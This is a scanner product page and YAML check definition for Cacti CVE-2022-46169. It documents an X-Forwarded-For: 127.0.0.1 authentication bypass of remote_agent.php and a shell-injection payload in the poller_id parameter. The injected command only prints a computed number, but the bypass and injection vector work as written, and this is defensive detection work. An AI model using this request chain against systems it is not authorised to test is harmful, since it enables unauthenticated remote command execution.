Cacti — 1 vulnerability check

noctis ships 1 vulnerability check for Cacti, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cacti remote_agent.php authentication bypass and poller_id command injection

CVECVE-2022-46169
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/cacti/CVE-2022-46169.yaml

Cacti 1.2.22 and earlier trust the X-Forwarded-For header to authorize callers of remote_agent.php, so any client claiming to be 127.0.0.1 is treated as the local poller, and the polldata action passes the poller_id parameter unfiltered into a shell command that starts the PHP script server. An unauthenticated attacker can run arbitrary commands as the web server user.

This check calls remote_agent.php under the web root and /cacti with X-Forwarded-For: 127.0.0.1. When the agent answers with polling data, it sends a poller_id that makes the shell print a marker with the product of two random numbers, for host IDs 1 to 5 and data source IDs 1 to 50 (two requests per host). The vulnerability is confirmed when a polled script-server data source returns the product computed by the target, which never appears in the request. Without such a data source, the agent still accepting the non-numeric poller_id (fixed releases reject it with a validation error) is reported at a lower confidence. When the header is refused, the version shown on the login page is checked instead. The injected command only prints a number.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/remote_agent.php?action=polldata&local_data_ids%5B0%5D=1&host_id=1&poller_id=1
  3. HTTP(S) request GET {{dir}}/remote_agent.php?action=polldata&local_data_ids%5B0%5D=1&host_id=1&poller_id=1
  4. HTTP(S) request GET {{dir}}/
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{st.agent_dir}}/remote_agent.php?action=polldata{{sc.ids1}}&host_id={{host}}&poller_…
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{st.agent_dir}}/remote_agent.php?action=polldata{{sc.ids2}}&host_id={{host}}&poller_…
  9. Parses / computes the next value with a Rhai script
  10. Checks st.proof for ^[0-9]+$ → finding QoD 97: Cacti remote_agent.php poller_id command injection (CVE-2022-46169)
  11. Checks st.accepted for ^yes$ → finding QoD 75: Cacti remote_agent.php accepts an unvalidated poller_id (CVE-2022-46169)
  12. Checks st.ver for ^1\. → finding QoD 70: Cacti 1.2.22 or earlier (CVE-2022-46169)

References:

Feed source — tests/vulnerabilities/cacti/CVE-2022-46169.yaml
# Cacti ≤ 1.2.22 — remote_agent.php authentication bypass + poller_id command injection
# (CVE-2022-46169)
#
# remote_agent.php (Cacti 1.2.22, github.com/Cacti/cacti release/1.2.22):
#   * remote_client_authorized() takes the client address from get_client_addr(), which
#     trusts X-Forwarded-For (and other proxy headers) before REMOTE_ADDR, resolves it
#     with gethostbyaddr() and accepts it when it matches a row of the `poller` table.
#     The default poller is "localhost", so "X-Forwarded-For: 127.0.0.1" is accepted;
#     a refused client gets "FATAL: You are not authorized to use this service".
#     1.2.23 still trusts the proxy headers by default, so this bypass alone does not
#     tell vulnerable from fixed.
#   * action=polldata → poll_for_data(): poller_id = get_nfilter_request_var('poller_id')
#     (unfiltered); for every poller_item of (host_id, local_data_id) whose action is 2
#     (PHP script server) it runs
#         proc_open(php -q <base>/script_server.php realtime <poller_id>)   (/bin/sh -c)
#     reads one line (start banner), writes the item command, reads one line (the value)
#     and returns [{"value":…,"rrd_name":…,"local_data_id":…}], keeping the value when
#     prepare_validate_result() accepts it (numeric, or name:value without spaces).
#   * 1.2.23 reads poller_id with get_filter_request_var() (FILTER_VALIDATE_INT): any
#     non-integer value stops the request with "Validation error for variable poller_id"
#     before a single item is polled, and the value is shell-escaped as well.
#
# Detection (all requests carry X-Forwarded-For: 127.0.0.1, under / and /cacti):
#   1. remote_agent.php?action=polldata without the header → "FATAL: You are not
#      authorized…" fingerprints the agent; with the header and poller_id=1 → a JSON
#      array (the bypass works).
#   2. poller_id = 1|(echo NOCTIS:$((A*B));echo NOCTIS:$((A*B));cat>/dev/null)
#      with random six-digit A, B, host_id 1–5 and local_data_ids 1–25 then 26–50
#      (two requests, so slow SNMP items cannot push one reply past the timeout). The script
#      server's output goes to the subshell (cat drains it, so nothing blocks or gets
#      SIGPIPE); the two echo lines are what Cacti reads as banner and value, so a
#      script-server item returns "value":"NOCTIS:<A*B>". The product is computed by
#      the target shell and never appears in the request (QoD 97).
#   3. Without such an item in the probed range, the same non-integer poller_id still
#      returning the JSON array (on an agent fingerprinted in step 1) proves the 1.2.23
#      validation is missing (QoD 75).
#   4. Where the bypass is refused (poller not named localhost), the login page version
#      (versionInfo, 1.0.0–1.2.22) gives a version-only finding (QoD 70). It is not used
#      when the bypass works, since then step 2/3 decide (distro backports stay clean).
# The injected command only prints a number; no file is written.
#
# Better than the source NASL / the previous feed: the old feed matched the word
# "local_data_id" — a parameter name of its own request — so any page echoing the URL
# was reported. The NASL relies on a blind timing/OOB command; this feed reads the
# computed value in band and also catches installs without a script-server item.
#
# References: GHSA-6p93-p743-35gf, fix commits 7f0e163 / a8d59e8 (Cacti 1.2.23).
uid: 20c6990e-f67d-41b9-b9f9-250a2d2fd064
name: "Cacti remote_agent.php authentication bypass and poller_id command injection (CVE-2022-46169)"
description: |
  Cacti 1.2.22 and earlier trust the X-Forwarded-For header to authorize callers of
  remote_agent.php, so any client claiming to be 127.0.0.1 is treated as the local
  poller, and the polldata action passes the poller_id parameter unfiltered into a shell
  command that starts the PHP script server. An unauthenticated attacker can run
  arbitrary commands as the web server user.

  This check calls remote_agent.php under the web root and /cacti with
  X-Forwarded-For: 127.0.0.1. When the agent answers with polling data, it sends a
  poller_id that makes the shell print a marker with the product of two random numbers,
  for host IDs 1 to 5 and data source IDs 1 to 50 (two requests per host). The vulnerability is confirmed when a
  polled script-server data source returns the product computed by the target, which
  never appears in the request. Without such a data source, the agent still accepting
  the non-numeric poller_id (fixed releases reject it with a validation error) is
  reported at a lower confidence. When the header is refused, the version shown on the
  login page is checked instead. The injected command only prints a number.
cves: [CVE-2022-46169]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
  - cacti
  - rce
  - command-injection
  - auth-bypass
  - kev
  - intrusive
services:
  - http
  - https
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2022-46169"
  - "https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf"
  - "https://github.com/Cacti/cacti/blob/release/1.2.22/remote_agent.php"

steps:
  # ── Random operands, payload, data source list ───────────────────────────
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let ex = "%24%28%28" + a + "%2A" + b + "%29%29";
      let ids1 = "";
      let ids2 = "";
      for i in 0..25 {
        ids1 += "&local_data_ids%5B" + i + "%5D=" + (i + 1);
        ids2 += "&local_data_ids%5B" + i + "%5D=" + (i + 26);
      }
      #{ want: "NOCTIS:" + (a * b),
         expr: a + "*" + b,
         inj: "1%7C%28echo%20NOCTIS%3A" + ex + "%3Becho%20NOCTIS%3A" + ex
              + "%3Bcat%3E%2Fdev%2Fnull%29",
         ids1: ids1,
         ids2: ids2 }
    store_as: sc

  - id: init-state
    action: set_var
    var_name: st
    var_value: {agent: false, agent_dir: "", fp: false, proof: "", accepted: "", ver: ""}

  # ── 1. Find the agent and check the X-Forwarded-For bypass, per install dir ─
  - id: init-dir
    action: set_var
    var_name: noauth
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/cacti"]

  - id: init-auth
    action: set_var
    var_name: auth
    var_value: {status: 0, body: ""}

  - id: init-login
    action: set_var
    var_name: login
    var_value: {status: 0, body: ""}

  - id: agent-noauth
    action: http_request
    method: GET
    path: "{{dir}}/remote_agent.php?action=polldata&local_data_ids%5B0%5D=1&host_id=1&poller_id=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "st.agent == false"
    store_as: noauth

  - id: agent-auth
    action: http_request
    method: GET
    path: "{{dir}}/remote_agent.php?action=polldata&local_data_ids%5B0%5D=1&host_id=1&poller_id=1"
    port: "{{port}}"
    headers:
      X-Forwarded-For: "127.0.0.1"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "st.agent == false"
    store_as: auth

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "st.agent == false && st.ver == \"\""
    store_as: login

  - id: dir-state
    action: script
    condition: "st.agent == false"
    code: |
      let s = st;
      let nb = if type_of(noauth.body) == "string" { noauth.body } else { "" };
      let ab = if type_of(auth.body) == "string" { auth.body } else { "" };
      let lb = if type_of(login.body) == "string" { login.body } else { "" };
      let fatal = nb.contains("FATAL: You are not authorized to use this service");
      let t = ab;
      t.trim();
      if auth.status == 200 && t.starts_with("[") && t.ends_with("]") {
        s.agent = true;
        s.agent_dir = dir;
        s.fp = fatal;
      }
      if s.ver == "" && lb.contains("Cacti") {
        let m = eregmatch("class=['\"]versionInfo['\"]>[^<0-9]*([0-9]+)\\.([0-9]+)\\.([0-9]+)", lb);
        if m.len() == 4 {
          let ma = parse_int(m[1]);
          let mi = parse_int(m[2]);
          let pa = parse_int(m[3]);
          if ma == 1 && (mi < 2 || (mi == 2 && pa <= 22)) {
            s.ver = m[1] + "." + m[2] + "." + m[3];
          }
        }
      }
      s
    store_as: st

  # ── 2./3. poller_id injection, per host ID ─────────────────────────────────
  - id: init-host
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}
    loop:
      var: host
      over: [1, 2, 3, 4, 5]

  - id: poller-id-injection-1-25
    action: http_request
    method: GET
    path: "{{st.agent_dir}}/remote_agent.php?action=polldata{{sc.ids1}}&host_id={{host}}&poller_id={{sc.inj}}"
    port: "{{port}}"
    headers:
      X-Forwarded-For: "127.0.0.1"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    condition: "st.agent == true && st.proof == \"\""
    store_as: inj

  - id: injection-state-1-25
    action: script
    condition: "st.agent == true && st.proof == \"\""
    code: |
      let s = st;
      let b = if type_of(inj.body) == "string" { inj.body } else { "" };
      let t = b;
      t.trim();
      if b.contains("\"" + sc.want + "\"") {
        s.proof = "" + host;
      } else if inj.status == 200 && t.starts_with("[") && t.ends_with("]") {
        s.accepted = "yes";
      }
      s
    store_as: st

  - id: reset-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: poller-id-injection-26-50
    action: http_request
    method: GET
    path: "{{st.agent_dir}}/remote_agent.php?action=polldata{{sc.ids2}}&host_id={{host}}&poller_id={{sc.inj}}"
    port: "{{port}}"
    headers:
      X-Forwarded-For: "127.0.0.1"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    condition: "st.agent == true && st.proof == \"\""
    store_as: inj

  - id: injection-state-26-50
    action: script
    condition: "st.agent == true && st.proof == \"\""
    code: |
      let s = st;
      let b = if type_of(inj.body) == "string" { inj.body } else { "" };
      let t = b;
      t.trim();
      if b.contains("\"" + sc.want + "\"") {
        s.proof = "" + host;
      } else if inj.status == 200 && t.starts_with("[") && t.ends_with("]") {
        s.accepted = "yes";
      }
      s
    store_as: st

  - id: report-exec
    action: match
    source: st.proof
    pattern: "^[0-9]+$"
    on_match:
      finding:
        title: "Cacti remote_agent.php poller_id command injection (CVE-2022-46169)"
        description: "remote_agent.php accepted a polldata request claiming X-Forwarded-For: 127.0.0.1 without authentication, and a script-server data source returned the product of two random numbers computed by a shell command injected through poller_id. An unauthenticated attacker can run arbitrary commands as the web server user."
        remediation: "Upgrade Cacti to 1.2.23 or later. Until then, block remote_agent.php for every client except the remote pollers, and do not let the web server or a proxy pass client-supplied X-Forwarded-For headers to Cacti."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir '{{st.agent_dir}}', host_id {{st.proof}}: poller_id=1|(echo NOCTIS:$(({{sc.expr}}));…) made the agent return the computed value {{sc.want}}"
      stop: true

  # ── Lower-confidence outcomes ──────────────────────────────────────────────
  # This one-pass loop only closes the host loop group above, so that the QoD 75 /
  # QoD 70 outcomes are decided after every host ID has been tried for the proof.
  - id: init-report
    action: set_var
    var_name: report_pass
    var_value: true
    loop:
      var: pass
      over: ["once"]

  - id: report-unvalidated
    action: match
    source: st.accepted
    pattern: "^yes$"
    condition: "st.proof == \"\" && st.fp == true"
    on_match:
      finding:
        title: "Cacti remote_agent.php accepts an unvalidated poller_id (CVE-2022-46169)"
        description: "remote_agent.php refused a plain polldata request, accepted the same request claiming X-Forwarded-For: 127.0.0.1, and returned polling data for a non-numeric poller_id holding shell metacharacters, which fixed releases reject with a validation error. No script-server data source was found among host IDs 1-5 and data source IDs 1-50 to run the command, but any such data source executes it."
        remediation: "Upgrade Cacti to 1.2.23 or later. Until then, block remote_agent.php for every client except the remote pollers, and do not let the web server or a proxy pass client-supplied X-Forwarded-For headers to Cacti."
        confidence_delta: 0.45
        qod: 75
        evidence: "install dir '{{st.agent_dir}}': polldata without X-Forwarded-For → FATAL: You are not authorized; with X-Forwarded-For: 127.0.0.1 and a non-numeric poller_id → JSON polling data (no validation error)"
      stop: true

  - id: report-version
    action: match
    source: st.ver
    pattern: "^1\\."
    condition: "st.proof == \"\" && st.agent == false"
    on_match:
      finding:
        title: "Cacti 1.2.22 or earlier (CVE-2022-46169)"
        description: "The Cacti login page reports a version from 1.0.0 to 1.2.22, which is affected by the remote_agent.php authentication bypass and poller_id command injection. The remote_agent.php bypass could not be confirmed from the scanner, so this finding relies on the version only."
        remediation: "Upgrade Cacti to 1.2.23 or later. Until then, block remote_agent.php for every client except the remote pollers, and do not let the web server or a proxy pass client-supplied X-Forwarded-For headers to Cacti."
        confidence_delta: 0.40
        qod: 70
        evidence: "login page version {{st.ver}}"

View these feeds on GitHub